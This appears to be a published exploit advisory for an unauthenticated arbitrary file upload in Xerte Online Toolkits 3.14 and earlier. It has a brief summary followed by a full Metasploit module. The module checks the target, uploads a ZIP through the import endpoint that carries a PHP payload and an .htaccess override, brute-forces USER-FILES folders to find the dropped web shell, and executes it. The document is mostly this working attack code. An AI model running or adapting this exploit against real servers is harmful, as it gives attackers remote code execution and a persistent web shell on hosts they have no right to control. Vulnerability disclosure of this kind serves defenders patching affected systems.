============================================================================================================================================= | # Title : Xerte Online Toolkits ≤ 3.14 Unauthenticated Template Import Leads to Arbitrary File Upload and Remote Code Execution | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) | | # Vendor : https://xot.xerte.org.uk/ | ============================================================================================================================================= [+] Summary : A vulnerability in Xerte Online Toolkits versions 3.14 and earlier allows unauthenticated users to upload arbitrary files via the template import functionality. The issue exists in: /website_code/php/import/import.php Due to missing authentication checks on the import endpoint, an attacker can upload a crafted ZIP archive disguised as a legitimate project template. The archive may contain a malicious PHP payload placed inside the media/ directory. [+] Once imported: The application extracts the ZIP contents into a publicly accessible directory under: USER-FILES/{projectID}--{targetFolder}/ The attacker can directly access the uploaded PHP file. This results in remote code execution (RCE) under the web server context. [+] The vulnerability combines: Missing authentication Insufficient file type validation Unsafe extraction of user-controlled archives [+] Successful exploitation may allow attackers to: Execute arbitrary PHP code Gain persistent web shell access Compromise the hosting environment [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Unauthenticated Template Import', 'Description' => %q{ This module exploits an authentication bypass allowing arbitrary file upload in versions 3.14 and earlier to upload and execute a shell. Specifically, this targets /website_code/php/import/import.php }, 'License' => MSF_LICENSE, 'Author' => [ 'indoushka', ], 'References' => [ ['URL', 'https://blog.haicen.me/posts/xerte-online-toolkits/'], ['URL', 'https://www.xerte.org.uk/index.php/en/news/blog/80-news/357-xerte-3-13-en-3-14-important-security-update-now-available'] ], 'Privileged' => false, 'Targets' => [ [ 'PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ] ], 'DisclosureDate' => '2025-08-04', 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => [REPEATABLE_SESSION], 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The path of a xerte installation', '/xerteonlinetoolkits']) ] ) end def check print_status('Performing check') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php') }) return Exploit::CheckCode::Unknown unless res if res.code == 200 && res.body.include?('No valid language definition found in the file!') return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def upload_payload_zip zip = Rex::Zip::Archive.new zip.add_file("media/#{php_filename}", payload.encoded) zip.add_file('media/.htaccess', htaccess_payload) zip.add_file('data.xml', %q{
}) zip.add_file('mal-theme.info', %q{ name: mal-theme display name: Flat: Black & Green description: Test enabled: yes preview: apereo.jpg }) zip.add_file('template.xml', %q{ }) mime = Rex::MIME::Message.new mime.add_part(zip.pack, 'application/zip', 'binary', %(form-data; name="filenameuploaded"; filename="#{zip_filename}")) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'import', 'import.php'), 'ctype' => "multipart/form-data; boundary=#{mime.bound}", 'data' => mime.to_s ) unless res && res.code == 200 fail_with(Failure::UnexpectedReply, 'Upload failed or server did not respond as expected') end print_good('ZIP uploaded successfully') end def http_send_command(_cmd) found = nil for i in 1..100 do res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'USER-FILES', "#{i}--Nottingham", 'media', php_filename) }) next unless res&.code == 200 print_status("Found shell at #{i}") found = i break end unless found fail_with(Failure::NotFound, 'Shell not found in expected USER-FILES directories') end register_file_for_cleanup("USER-FILES/#{found}--Nottingham/media/#{php_filename}") send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'USER-FILES', "#{found}--Nottingham", 'media', php_filename) }) end def exploit upload_payload_zip http_send_command(payload.encoded) end def php_filename @php_filename ||= Rex::Text.rand_text_alpha(8) + '.php' end def htaccess_payload <<~PAYLOAD RewriteEngine Off PAYLOAD end def zip_filename @zip_filename ||= Rex::Text.rand_text_alpha(8) + 'mal-template.zip' end end Greetings to :====================================================================== jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)| ====================================================================================